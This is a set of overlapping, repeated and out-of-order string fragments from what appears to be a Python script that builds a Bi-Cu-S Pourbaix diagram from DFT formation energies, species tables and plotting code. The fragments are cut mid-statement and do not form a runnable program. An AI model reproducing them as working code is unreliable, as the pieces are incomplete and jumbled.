"dGf_Bi2SO2=(Ee_Bi2SO2+Fvib_Bi2SO2) -2*(Ee_Bi+Fvib_Bi)-(Ee_S+Fvib_S)-1.0*((Ee_O2)-Ftot_O2); dGf_BiSCuO=(Ee_BiSCuO+Fvib_BiSCuO) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Cu3BiS3=(Ee_Cu3BiS3+Fvib_Cu3BiS3) -3*(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S); dGf_Cu4Bi4S9=(Ee_Cu4Bi4S9+Fvib_Cu4Bi4S9) -4*(Ee_Cu+Fvib_Cu)-4*(Ee_Bi+Fvib_Bi)-9*(Ee_S+Fvib_S); dGf_Cu4BiS2_5=(Ee_Cu4BiS2_5+Fvib_Cu4BiS2_5)-4*(Ee_Cu+Fvib_Cu)-5*(Ee_Bi+Fvib_Bi)-10*(Ee_S+Fvib_S); dGf_CuBiS2=(Ee_CuBiS2+Fvib_CuBiS2) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S); #Set the",
"Ee_Cu2S=-13.4793116667; Ee_Cu7S4=-49.8241325; Ee_CuS=-9.170266; Ee_CuS2=-13.63935; Ee_Cu2SO4_3=-101.5166; Ee_BiCu=-9.31218; Ee_CuBiO2_2=-42.245475; Ee_BiS2=-14.6172585; Ee_Bi2S3=-24.878388; Ee_Bi2S2O=-27.2327565; Ee_Bi2SO4_3=-109.35902; Ee_Bi14OS24=-247.57619; Ee_Bi2SO2=-29.50652;",
"Urange = Uhigh-Ulow; #V Ucount = Urange/n; #used to iterate through U (energy)",
"-1.5; #V Uhigh = 1.5; #V Urange = Uhigh-Ulow; #V Ucount = Urange/n;",
"species[41,4]=0 species[42,4]=0 species[43,4]=0 species[44,4]=0 species[45,4]=0 species[46,4]=0 #CuSBiO species[47,4]=0 species[48,4]=0 species[49,4]=0 species[50,4]=0 species[51,4]=0 species[52,4]=1",
"'+str(m)+', Species3: '+str(p)+'\\n') t=1 t=0 #If there is at least one multi-element species",
"current_mu=current_mu+f2*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); #The second species' contribution to the mu current_eng=species[s,0]; current_ele=F*U*(species[s,1]) current_H=R*T*np.log(10.0)*pH*(species[s,2]) current_H2O=dGf_H2O*(species[s,6]) current_aquI=R*T*np.log(nI)*(species[s,7])",
"species[32,4]=0 species[33,4]=0 species[34,4]=0 species[35,4]=0 species[36,4]=0 species[37,4]=0 species[38,4]=0 species[39,4]=0 species[40,4]=0 species[41,4]=0 species[42,4]=0 species[43,4]=0 species[44,4]=0",
"species[33,2]=12 species[34,2]=6 species[35,2]=8 species[36,2]=12 species[37,2]=4 species[38,2]=5 species[39,2]=6 species[40,2]=12 species[41,2]=6 species[42,2]=7 species[43,2]=8 species[44,2]=16 species[45,2]=9",
"4]==0 and species[m, 4] ==0) or \\ (species[m, 4]==0 and species[p, 4] ==0)",
"dGf_H2SO3=-5.580528 dGf_HSO3_Minus=-5.464 dGf_SO3_2Minus=-5.03457 dGf_S2O6_2Minus=-10.02 dGf_H2SO4=-7.6901922 dGf_HSO4_Minus=-7.8029389 dGf_SO4_2Minus=-7.6901922 dGf_S2O8_2Minus=-11.361 dGf_HSO5_Minus= -6.60739025 dGf_S2O5_2Minus= -8.195817793 #Water",
"species[22,0]=dGf_H2S species[23,0]=dGf_HS_Minus species[24,0]=dGf_S_2Minus species[25,0]=dGf_S2_2Minus species[26,0]=dGf_S3_2Minus species[27,0]=dGf_S4_2Minus species[28,0]=dGf_S5_2Minus species[29,0]=dGf_H2S2O3 species[30,0]=dGf_HS2O3_Minus species[31,0]=dGf_S2O3_2Minus species[32,0]=dGf_S5O6_2Minus species[33,0]=dGf_S4O6_2Minus species[34,0]=dGf_HS2O4_Minus",
"species' contribution to the mu current_eng=species[m,0]; current_ele=F*U*(species[m,1]) current_H=R*T*np.log(10.0)*pH*(species[m,2]) current_H2O=dGf_H2O*(species[m,6]) current_aquI=R*T*np.log(nI)*(species[m,7]) current_NumEle=1 for t",
"i=40; j=40; #If there is a linear combination, save the species in the",
"dGf_Bi2S2O=(Ee_Bi2S2O+Fvib_Bi2S2O) -2*(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Bi2SO4_3=(Ee_Bi2SO4_3+Fvib_Bi2SO4_3) -2*(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S)-6.0*((Ee_O2)-Ftot_O2); dGf_Bi14OS24=(Ee_Bi14OS24+Fvib_Bi14OS24) -14*(Ee_Bi+Fvib_Bi)-24*(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Bi2SO2=(Ee_Bi2SO2+Fvib_Bi2SO2) -2*(Ee_Bi+Fvib_Bi)-(Ee_S+Fvib_S)-1.0*((Ee_O2)-Ftot_O2); dGf_BiSCuO=(Ee_BiSCuO+Fvib_BiSCuO) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Cu3BiS3=(Ee_Cu3BiS3+Fvib_Cu3BiS3) -3*(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S); dGf_Cu4Bi4S9=(Ee_Cu4Bi4S9+Fvib_Cu4Bi4S9)",
"Aqueous Ions?????? ################################################# #Copper species[0,7]=0 species[1,7]=0 species[2,7]=0 species[3,7]=1 species[4,7]=1 species[5,7]=1 species[6,7]=1 species[7,7]=1 species[8,7]=1",
"dGf_S5_2Minus=0.6803396 dGf_H2S2O3=-5.6329986 dGf_HS2O3_Minus=-5.6156529 dGf_S2O3_2Minus=-5.515915 dGf_S5O6_2Minus=-9.9087 dGf_S4O6_2Minus=-10.5939 dGf_HS2O4_Minus=-6.13203282 dGf_S2O4_2Minus=-5.9842 dGf_S3O6_2Minus=-9.930382 dGf_H2SO3=-5.580528 dGf_HSO3_Minus=-5.464 dGf_SO3_2Minus=-5.03457 dGf_S2O6_2Minus=-10.02",
"species[59,3]=0 #CuBiS species[60,3]=1 species[61,3]=4 species[62,3]=4 #BiCuSO species[63,3]=1 species[64,3]=3 ########### Number of Bismuths Bi",
"= Uhigh-Ulow; #V Ucount = Urange/n; #used to iterate through U (energy) range",
"#Constants R=8.31447; #kJ/(mol*K) T=298.15; #K F= 9.648533*10**4; #kJ/(V*mol) P=1; #bar, 10^5*Pa eta=6 nI=10**-eta;",
"species[7,4]=0 species[8,4]=0 species[9,4]=0 species[10,4]=0 species[11,4]=0 species[12,4]=0 #Bismuth species[13,4]=1 species[14,4]=2 species[15,4]=2 species[16,4]=2 species[17,4]=4 species[18,4]=1",
"or \\ (species[k, 3]==0 and species[p, 3] ==0)): if((species[k, 4]==0 and species[m, 4]",
"combine at the composition ########### ############################################################################### t=1 flag=1 f_total=int; f=np.zeros((3)) combos=np.zeros((45000,9,3)) combo_num=0 combos[combo_num,",
"#################################### ############################################################################### dGf_Cu= dGf_Cu*F; dGf_CuO= dGf_CuO*F; dGf_Cu2O= dGf_Cu2O*F; dGf_Cu1= dGf_Cu1*F; dGf_Cu2= dGf_Cu2*F; dGf_CuOH4_2=",
"#Array showing the composition of Cu:Bi:S composition=np.array([1,1,1]) #pH Range and Constants lowpH =",
"species[49,4]=0 species[50,4]=0 species[51,4]=0 species[52,4]=1 species[53,4]=2 #BiSO species[54,4]=1 species[55,4]=2 species[56,4]=2 species[57,4]=2 species[58,4]=14 species[59,4]=2 #CuBiS",
"Diagram, $\\eta_{Bi,Cu,S}=10^{-'+str(eta)+'}$, '+str(composition[0])+'Cu:' +str(composition[1])+'Bi:'+str(composition[2])+'S') ############################################################################### ############## Plot with Lines ############################################ ############################################################################### flag =",
"species[43,3]=0 species[44,3]=0 species[45,3]=0 species[46,3]=0 #CuBiSO species[47,3]=2 species[48,3]=7 species[49,3]=1 species[50,3]=1 species[51,3]=2 species[52,3]=1 species[53,3]=1 #BiSO",
"U (energy) range ############################################################################### ######################## DFT CALCULATIONS ##################################### ############################################################################### #Electronic Energies in eV/f.u.",
"species[37,4]=0 species[38,4]=0 species[39,4]=0 species[40,4]=0 species[41,4]=0 species[42,4]=0 species[43,4]=0 species[44,4]=0 species[45,4]=0 species[46,4]=0 #CuSBiO species[47,4]=0 species[48,4]=0",
"dGf_CuOH2*F; dGf_CuOH = dGf_CuOH*F; dGf_Cu2OH2_2plus=dGf_Cu2OH2_2plus*F; dGf_Cu3OH4_2plus=dGf_Cu3OH4_2plus*F; dGf_CuOH2_s=dGf_CuOH2_s*F dGf_Bi= dGf_Bi*F; dGf_Bi2O3= dGf_Bi2O3*F; dGf_Bi2O5= dGf_Bi2O5*F;",
"flag = np.zeros((50,6)) # The first 4 indexes are the materials stored, the",
"Ee_Bi2SO4_3=-109.35902; Ee_Bi14OS24=-247.57619; Ee_Bi2SO2=-29.50652; Ee_BiSCuO=-21.5022935; Ee_Cu3BiS3=-32.4713275; Ee_Cu4Bi4S9=-80.830705; Ee_Cu4BiS2_5=-90.647798; Ee_CuBiS2=-19.041996; ############################################################################### ###### Vibrational Energy #####################################################",
"species[17,2]=14 species[18,2]=0 species[19,2]=1 species[20,2]=2 #S species[21,2]=0 species[22,2]=-2 species[23,2]=-1 species[24,2]=0 species[25,2]=0 species[26,2]=0 species[27,2]=0 species[28,2]=0",
"############### Populate the species matrix ################################ ############################################################################### species=np.zeros((65,8)) ######## Formation Energies ################################################### species[0,0]=0.00;",
"############################################################################### ############################################################################### ############################################################################### ############################################################################### ############## Aqueous Ion Free Energies of Formation ######################### #Free",
"dGf_Cu2SO4_3=dGf_Cu2SO4_3*F; dGf_BiCu=dGf_BiCu*F; dGf_CuBiO2_2=dGf_CuBiO2_2*F; dGf_BiS2=dGf_BiS2*F; dGf_Bi2S3=dGf_Bi2S3*F; dGf_Bi2S2O=dGf_Bi2S2O*F; dGf_Bi2SO4_3=dGf_Bi2SO4_3*F; dGf_Bi14OS24=dGf_Bi14OS24*F; dGf_Bi2SO2=dGf_Bi2SO2*F; dGf_BiSCuO=dGf_BiSCuO*F; dGf_Cu3BiS3=dGf_Cu3BiS3*F; dGf_Cu4Bi4S9=dGf_Cu4Bi4S9*F; dGf_Cu4BiS2_5=dGf_Cu4BiS2_5*F;",
"f[2]=j #Ending parameters, break loops t=0; h=40; i=40; j=40; #If there is a",
"#Percent of each in species in final combo f_total=f[0]+f[1]+f[2]; combos[combo_num, 8, 0]=f[0]/f_total combos[combo_num,",
"###### Vibrational Energy ##################################################### ############################################################################### #Vibrational Energies in eV/f.u. #From PBEsol Phonon Calculations",
"in range(1, n): #calculate the energies for each species number pH=lowpH+(i*pHcount); for j",
"#save the composition f[0]=h f[1]=i f[2]=j #Ending parameters, break loops t=0; h=40; i=40;",
"center', bbox_to_anchor=(1.3, 0.9), ncol=1) plt.ylabel('Electric Potential, E(V)') plt.xlabel('pH') plt.title('Bi-Cu-S Pourbaix Diagram, $\\eta_{Bi,Cu,S}=10^{-'+str(eta)+'}$, '+str(composition[0])+'Cu:'",
"from eV to kJ/mol #################################### ############################################################################### dGf_Cu= dGf_Cu*F; dGf_CuO= dGf_CuO*F; dGf_Cu2O= dGf_Cu2O*F; dGf_Cu1=",
"pH=lowpH+(i*pHcount); for j in range(0,n+1): U=Ulow+(j*Ucount); muValues[i,j,0]=-1 muValues[i,j,1]=-1 muValues[i,j,2]=-1 muValues[i,j,3]=100000000 #Go through all",
"dGf_Bi_3Plus= 0.6430898 dGf_BiOH_2Plus= -1.6968378 dGf_BiO_Plus= -1.4977965 ##Elemental Copper Species dGf_Cu1= 0.506502 dGf_Cu2= 0.674092",
"muValues[i,j,2] flag[index,3] = random.random(); flag[index,4] = random.random(); flag[index,5] = random.random(); ax.plot(pH,U,'.', color =",
"dGf_CuBiS2=(Ee_CuBiS2+Fvib_CuBiS2) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S); #Set the reference values dGf_Cu=0.0; dGf_Bi=0.0; dGf_S=0.0; ############################################################################### ############################################################################### ############################################################################### ###############################################################################",
"dGf_CuOH = dGf_CuOH*F; dGf_Cu2OH2_2plus=dGf_Cu2OH2_2plus*F; dGf_Cu3OH4_2plus=dGf_Cu3OH4_2plus*F; dGf_CuOH2_s=dGf_CuOH2_s*F dGf_Bi= dGf_Bi*F; dGf_Bi2O3= dGf_Bi2O3*F; dGf_Bi2O5= dGf_Bi2O5*F; dGf_Bi2O4=dGf_Bi2O4*F;",
"dGf_Cu3BiS3=(Ee_Cu3BiS3+Fvib_Cu3BiS3) -3*(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S); dGf_Cu4Bi4S9=(Ee_Cu4Bi4S9+Fvib_Cu4Bi4S9) -4*(Ee_Cu+Fvib_Cu)-4*(Ee_Bi+Fvib_Bi)-9*(Ee_S+Fvib_S); dGf_Cu4BiS2_5=(Ee_Cu4BiS2_5+Fvib_Cu4BiS2_5)-4*(Ee_Cu+Fvib_Cu)-5*(Ee_Bi+Fvib_Bi)-10*(Ee_S+Fvib_S); dGf_CuBiS2=(Ee_CuBiS2+Fvib_CuBiS2) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S); #Set the reference values dGf_Cu=0.0; dGf_Bi=0.0;",
"each species number pH=lowpH+(i*pHcount); for j in range(0,n+1): U=Ulow+(j*Ucount); muValues[i,j,0]=-1 muValues[i,j,1]=-1 muValues[i,j,2]=-1 muValues[i,j,3]=100000000",
"current_H2O=dGf_H2O*(species[m,6]) current_aquI=R*T*np.log(nI)*(species[m,7]) current_NumEle=1 for t in range(3,6): if(species[m,t]>1): current_NumEle=current_NumEle*species[m,t]; current_mu=current_mu+f2*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); #The second species'",
"########### Number of Bismuths Bi ############################################# #Copper species[0,4]=0 species[1,4]=0 species[2,4]=0 species[3,4]=0 species[4,4]=0 species[5,4]=0",
"#Energy combos[combo_num, 1, 0]=species[k,0] combos[combo_num, 1, 1]=species[m,0] combos[combo_num, 1, 2]=species[p,0] #Electrons combos[combo_num, 2,",
"t in range(3,6): if(species[p,t]>1): current_NumEle=current_NumEle*species[p,t]; current_mu=f1*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); #The second species' contribution to the mu",
"Species1: '+str(k)+', Species2: '+str(m)+'\\n') #Species Number combos[combo_num, 0, 0]=k combos[combo_num, 0, 1]=m combos[combo_num,",
"n): #calculate the energies for each species number pH=lowpH+(i*pHcount); for j in range(1,n):",
"0, 1]=-1 combos[combo_num, 0, 2]=-1 for k in range(0, len(species)): for m in",
"dGf_HSO3_Minus=-5.464 dGf_SO3_2Minus=-5.03457 dGf_S2O6_2Minus=-10.02 dGf_H2SO4=-7.6901922 dGf_HSO4_Minus=-7.8029389 dGf_SO4_2Minus=-7.6901922 dGf_S2O8_2Minus=-11.361 dGf_HSO5_Minus= -6.60739025 dGf_S2O5_2Minus= -8.195817793 #Water dGf_H2O=-2.458;",
"F_rot_trans_O2=0.099; Ftot_O2=Fvib_O2+F_rot_trans_O2; F_H = .202; Fvib_S=-0.0091266451372 Fvib_CuO=0.062498987735 Fvib_Cu2O=0.00507624852 Fvib_Cu=-0.007167374680 Fvib_CuOH2_s=0.66653026525 Fvib_Bi=-0.0761976993239 Fvib_Bi2O3=-0.057653546889 Fvib_Bi2O5=0.14677315404",
"Ftot_O2=Fvib_O2+F_rot_trans_O2; F_H = .202; Fvib_S=-0.0091266451372 Fvib_CuO=0.062498987735 Fvib_Cu2O=0.00507624852 Fvib_Cu=-0.007167374680 Fvib_CuOH2_s=0.66653026525 Fvib_Bi=-0.0761976993239 Fvib_Bi2O3=-0.057653546889 Fvib_Bi2O5=0.14677315404 Fvib_Bi2O4=0.12231438709",
"element is in this combination of species if((species[k, 3]>0 or species[m, 3] >0",
"#Check to make sure each element is in this combination of species if((species[k,",
"species[41,6]=4 species[42,6]=4 species[43,6]=4 species[44,6]=8 species[45,6]=5 species[46,6]=5 #CuSBiO species[47,6]=0 species[48,6]=0 species[49,6]=0 species[50,6]=0 species[51,6]=12 species[52,6]=0",
"muH[:],'c--',label='$H_2$',linewidth=1) ax.plot(pHArray[:], muH2O[:],'b--',label='$H_2O$', linewidth=1) ax.legend(loc='upper center', bbox_to_anchor=(1.3, 0.9), ncol=1) plt.ylabel('Electric Potential, E(V)') plt.xlabel('pH')",
"species[22,1]=-2 species[23,1]=-2 species[24,1]=-2 species[25,1]=-2 species[26,1]=-2 species[27,1]=-2 species[28,1]=-2 species[29,1]=4 species[30,1]=4 species[31,1]=4 species[32,1]=10 species[33,1]=10 species[34,1]=6",
"highpH = 16; pHrange = int; pHrange = highpH-lowpH; pHcount = pHrange/n; #used",
"species[p, 4] ==0)): if((species[k, 5]==0 and species[m, 5] ==0) or \\ (species[m, 5]==0",
"Ee_CuO=-10.7488868; Ee_Cu2O=-14.99698; Ee_CuOH2_s=-25.1916025; #PBEsol Ee_O2=-10.281123 Ee_H2=-6.5141508 Ee_S= -4.391811875; ############################################################################### ########### MULTICOMPONENT SPECIES ############################################",
"dGf_HS2O4_Minus=dGf_HS2O4_Minus*F; dGf_S2O4_2Minus=dGf_S2O4_2Minus*F; dGf_S3O6_2Minus=dGf_S3O6_2Minus*F; dGf_H2SO3=dGf_H2SO3*F; dGf_HSO3_Minus=dGf_HSO3_Minus*F; dGf_SO3_2Minus=dGf_SO3_2Minus*F; dGf_S2O6_2Minus=dGf_S2O6_2Minus*F; dGf_H2SO4=dGf_H2SO4*F; dGf_HSO4_Minus=dGf_HSO4_Minus*F; dGf_SO4_2Minus=dGf_SO4_2Minus*F; dGf_S2O8_2Minus=dGf_S2O8_2Minus*F; dGf_HSO5_Minus=dGf_HSO5_Minus*F; dGf_S2O5_2Minus=dGf_S2O5_2Minus*F;",
"flag[k,1]==muValues[i,j,2]and flag[k,2]==muValues[i,j,0]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found k=len(flag)+1",
"Sulphurs S ############################################# #Coppers species[0,5]=0 species[1,5]=0 species[2,5]=0 species[3,5]=0 species[4,5]=0 species[5,5]=0 species[6,5]=0 species[7,5]=0 species[8,5]=0",
"0]=species[k,0] combos[combo_num, 1, 1]=species[m,0] combos[combo_num, 1, 2]=species[p,0] #Electrons combos[combo_num, 2, 0]=species[k,1] combos[combo_num, 2,",
"species[16,1]=8 species[17,1]=14 species[18,1]=3 species[19,1]=3 species[20,1]=3 #S species[21,1]=0 species[22,1]=-2 species[23,1]=-2 species[24,1]=-2 species[25,1]=-2 species[26,1]=-2 species[27,1]=-2",
"############################################################################### ############################################################################### ############################################################################### ################################################################################ ############# CONVERT from eV to kJ/mol #################################### ############################################################################### dGf_Cu=",
"species[4,0]=dGf_Cu2 species[5,0]=dGf_CuOH4_2 species[6,0]=dGf_CuOH2_minus species[7,0]=dGf_CuOH3 species[8,0]=dGf_CuOH_Plus species[9,0]=dGf_CuOH2 species[10,0]=dGf_CuOH species[11,0]=dGf_Cu2OH2_2plus species[12,0]=dGf_Cu3OH4_2plus species[13,0]=dGf_Bi species[14,0]=dGf_Bi2O3 species[15,0]=dGf_Bi2O5 species[16,0]=dGf_Bi2O4",
"in range(1, 20): #Is there a linear combination of the elements that will",
"species[28,2]=0 species[29,2]=6 species[30,2]=5 species[31,2]=4 species[32,2]=12 species[33,2]=12 species[34,2]=6 species[35,2]=8 species[36,2]=12 species[37,2]=4 species[38,2]=5 species[39,2]=6 species[40,2]=12",
"dGf_CuOH_Plus= -1.3127387 dGf_CuOH4_2=-6.814302 dGf_CuOH2= -3.2666113 dGf_CuOH = -1.2677578 dGf_Cu2OH2_2plus=-2.942417 dGf_Cu3OH4_2plus=-6.567839 #Elemental Sulphur Species",
"species[38,0]=dGf_HSO3_Minus species[39,0]=dGf_SO3_2Minus species[40,0]=dGf_S2O6_2Minus species[41,0]=dGf_H2SO4 species[42,0]=dGf_HSO4_Minus species[43,0]=dGf_SO4_2Minus species[44,0]=dGf_S2O8_2Minus species[45,0]=dGf_HSO5_Minus species[46,0]=dGf_S2O5_2Minus species[47,0]=dGf_Cu2S species[48,0]=dGf_Cu7S4 species[49,0]=dGf_CuS species[50,0]=dGf_CuS2",
"the elements that will allow #For the if(((h*a[0,0]+i*a[0,1]+j*a[0,2])/(h*a[1,0]+i*a[1,1]+j*a[1,2]))==composition[0]/composition[1] and \\ ((h*a[1,0]+i*a[1,1]+j*a[1,2])/(h*a[2,0]+i*a[2,1]+j*a[2,2]))==composition[1]/composition[2] and \\",
"species[35,7]=1 species[36,7]=1 species[37,7]=1 species[38,7]=1 species[39,7]=1 species[40,7]=1 species[41,7]=1 species[42,7]=1 species[43,7]=1 species[44,7]=1 species[45,7]=1 species[46,7]=1 #CuSBiO",
"dGf_CuOH4_2=-6.814302 dGf_CuOH2= -3.2666113 dGf_CuOH = -1.2677578 dGf_Cu2OH2_2plus=-2.942417 dGf_Cu3OH4_2plus=-6.567839 #Elemental Sulphur Species dGf_H2S=-0.283601 dGf_HS_Minus=0.13053",
"species[14,0]=dGf_Bi2O3 species[15,0]=dGf_Bi2O5 species[16,0]=dGf_Bi2O4 species[17,0]=dGf_Bi4O7 species[18,0]=dGf_Bi_3Plus species[19,0]=dGf_BiOH_2Plus species[20,0]=dGf_BiO_Plus species[21,0]=dGf_S species[22,0]=dGf_H2S species[23,0]=dGf_HS_Minus species[24,0]=dGf_S_2Minus species[25,0]=dGf_S2_2Minus species[26,0]=dGf_S3_2Minus",
"-(Ee_Cu+Fvib_Cu)-2*(Ee_Bi+Fvib_Bi)-2.0*((Ee_O2)-Ftot_O2); dGf_BiS2=(Ee_BiS2+Fvib_BiS2) -(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S); dGf_Bi2S3=(Ee_Bi2S3+Fvib_Bi2S3) -2*(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S); dGf_Bi2S2O=(Ee_Bi2S2O+Fvib_Bi2S2O) -2*(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Bi2SO4_3=(Ee_Bi2SO4_3+Fvib_Bi2SO4_3) -2*(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S)-6.0*((Ee_O2)-Ftot_O2); dGf_Bi14OS24=(Ee_Bi14OS24+Fvib_Bi14OS24) -14*(Ee_Bi+Fvib_Bi)-24*(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Bi2SO2=(Ee_Bi2SO2+Fvib_Bi2SO2) -2*(Ee_Bi+Fvib_Bi)-(Ee_S+Fvib_S)-1.0*((Ee_O2)-Ftot_O2);",
"species[50,0]=dGf_CuS2 species[51,0]=dGf_Cu2SO4_3 species[52,0]=dGf_BiCu species[53,0]=dGf_CuBiO2_2 species[54,0]=dGf_BiS2 species[55,0]=dGf_Bi2S3 species[56,0]=dGf_Bi2S2O species[57,0]=dGf_Bi2SO4_3 species[58,0]=dGf_Bi14OS24 species[59,0]=dGf_Bi2SO2 species[60,0]=dGf_CuBiS2 species[61,0]=dGf_Cu4Bi4S9 species[62,0]=dGf_Cu4BiS2_5",
"dGf_CuOH_Plus*F; dGf_CuOH2= dGf_CuOH2*F; dGf_CuOH = dGf_CuOH*F; dGf_Cu2OH2_2plus=dGf_Cu2OH2_2plus*F; dGf_Cu3OH4_2plus=dGf_Cu3OH4_2plus*F; dGf_CuOH2_s=dGf_CuOH2_s*F dGf_Bi= dGf_Bi*F; dGf_Bi2O3= dGf_Bi2O3*F;",
"flag[index,2] = muValues[i,j,2] flag[index,3] = random.random(); flag[index,4] = random.random(); flag[index,5] = random.random(); ax.plot(pH,U,'.',",
"color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,1] and flag[k,1]==muValues[i,j,2]and flag[k,2]==muValues[i,j,0]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4)",
"species[27,6]=0 species[28,6]=0 species[29,6]=3 species[30,6]=3 species[31,6]=3 species[32,6]=6 species[33,6]=6 species[34,6]=4 species[35,6]=4 species[36,6]=6 species[37,6]=3 species[38,6]=3 species[39,6]=3",
"grid detail you want, suggested (30-140): \") n=30; #Constants R=8.31447; #kJ/(mol*K) T=298.15; #K",
"species[35,1]=6 species[36,1]=10 species[37,1]=4 species[38,1]=4 species[39,1]=4 species[40,1]=10 species[41,1]=6 species[42,1]=6 species[43,1]=6 species[44,1]=14 species[45,1]=8 species[46,1]=8 #CuSOBi",
"flag[index,3] = random.random(); flag[index,4] = random.random(); flag[index,5] = random.random(); ax.plot(pH,U,'.', color = [flag[index,3],flag[index,4],flag[index,5]],markersize=4,label=label)",
"elif(flag[k,0]==muValues[i,j,0] and flag[k,1]==muValues[i,j,2]and flag[k,2]==muValues[i,j,1]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is",
"species[48,5]=4 species[49,5]=1 species[50,5]=2 species[51,5]=3 species[52,5]=0 species[53,5]=0 #BiSO species[54,5]=2 species[55,5]=3 species[56,5]=2 species[57,5]=3 species[58,5]=24 species[59,5]=1",
"l=1 elif(flag[k,0]==muValues[i,j,2] and flag[k,1]==muValues[i,j,1]and flag[k,2]==muValues[i,j,0]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color",
"Species2: '+str(m)+'\\n') #Species Number combos[combo_num, 0, 0]=k combos[combo_num, 0, 1]=m combos[combo_num, 0, 2]=p",
"Mesh Calculations ############################ ############################################################################### #should be as long as there are specicies considered",
"algebra. try: f=np.linalg.solve(a, composition) except: #print('Error: Species '+str(k)+', Species2: '+str(m)+', Species3: '+str(p)+'\\n') t=1",
"species[33,0]=dGf_S4O6_2Minus species[34,0]=dGf_HS2O4_Minus species[35,0]=dGf_S2O4_2Minus species[36,0]=dGf_S3O6_2Minus species[37,0]=dGf_H2SO3 species[38,0]=dGf_HSO3_Minus species[39,0]=dGf_SO3_2Minus species[40,0]=dGf_S2O6_2Minus species[41,0]=dGf_H2SO4 species[42,0]=dGf_HSO4_Minus species[43,0]=dGf_SO4_2Minus species[44,0]=dGf_S2O8_2Minus species[45,0]=dGf_HSO5_Minus",
"\\ ((h*a[0,0]+i*a[0,1]+j*a[0,2])/(h*a[2,0]+i*a[2,1]+j*a[2,2]))==composition[0]/composition[2]): #save the composition f[0]=h f[1]=i f[2]=j #Ending parameters, break loops t=0;",
"the composition f[0]=h f[1]=i f[2]=j #Ending parameters, break loops t=0; h=40; i=40; j=40;",
"#From PBEsol Phonon Calculations Fvib_O2=-0.272; F_rot_trans_O2=0.099; Ftot_O2=Fvib_O2+F_rot_trans_O2; F_H = .202; Fvib_S=-0.0091266451372 Fvib_CuO=0.062498987735 Fvib_Cu2O=0.00507624852",
"if(flag[k,0]==muValues[i,j,0] and flag[k,1]==muValues[i,j,1] and flag[k,2]==muValues[i,j,2]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color",
"species[34,3]=0 species[35,3]=0 species[36,3]=0 species[37,3]=0 species[38,3]=0 species[39,3]=0 species[40,3]=0 species[41,3]=0 species[42,3]=0 species[43,3]=0 species[44,3]=0 species[45,3]=0 species[46,3]=0",
"species[61,7]=0 species[62,7]=0 #BiCuSO species[63,7]=0 species[64,7]=0 #Function to determine species combinations try: combos=load('BiCuOS-speciesCombo.npy') num=load('BiCuOS-numberSpecies.npy')",
"str(combo_num)+'.\\n') ############################################################################### ############################################################################### ############################################################################### ############################################################################### ########### Chemical Potential Mesh Calculations ############################ ############################################################################### #should",
"species[3,5]=0 species[4,5]=0 species[5,5]=0 species[6,5]=0 species[7,5]=0 species[8,5]=0 species[9,5]=0 species[10,5]=0 species[11,5]=0 species[12,5]=0 #Bismuth species[13,5]=0 species[14,5]=0",
"commpare all pairs for k in range(0, combo_num): p=int(combos[k,0,0]); m=int(combos[k,0,1]); s=int(combos[k,0,2]); f1=combos[k,8,0]; f2=combos[k,8,1];",
"species[64,5]=3 ######### Number of H2O's ##################################################### #Copper species[0,6]=0 species[1,6]=1 species[2,6]=1 species[3,6]=0 species[4,6]=0 species[5,6]=4",
"species's contribution to the mu current_eng=species[p,0] current_ele=F*U*(species[p,1]) current_H=R*T*np.log(10.0)*pH*(species[p,2]) current_H2O=dGf_H2O*(species[p,6]) current_aquI=R*T*np.log(nI)*(species[p,7]) current_NumEle=1 for t",
"species[16,5]=0 species[17,5]=0 species[18,5]=0 species[19,5]=0 species[20,5]=0 #Sulphur species[21,5]=1 species[22,5]=1 species[23,5]=1 species[24,5]=1 species[25,5]=2 species[26,5]=3 species[27,5]=4",
"dGf_Bi*F; dGf_Bi2O3= dGf_Bi2O3*F; dGf_Bi2O5= dGf_Bi2O5*F; dGf_Bi2O4=dGf_Bi2O4*F; dGf_Bi4O7=dGf_Bi4O7*F; dGf_Bi_3Plus= dGf_Bi_3Plus*F; dGf_BiOH_2Plus= dGf_BiOH_2Plus*F; dGf_BiO_Plus= dGf_BiO_Plus*F;",
"species[1,2]=2 species[2,2]=2 species[3,2]=0 species[4,2]=0 species[5,2]=4 species[6,2]=2 species[7,2]=3 species[8,2]=1 species[9,2]=2 species[10,2]=1 species[11,2]=2 species[12,2]=4 #Bi",
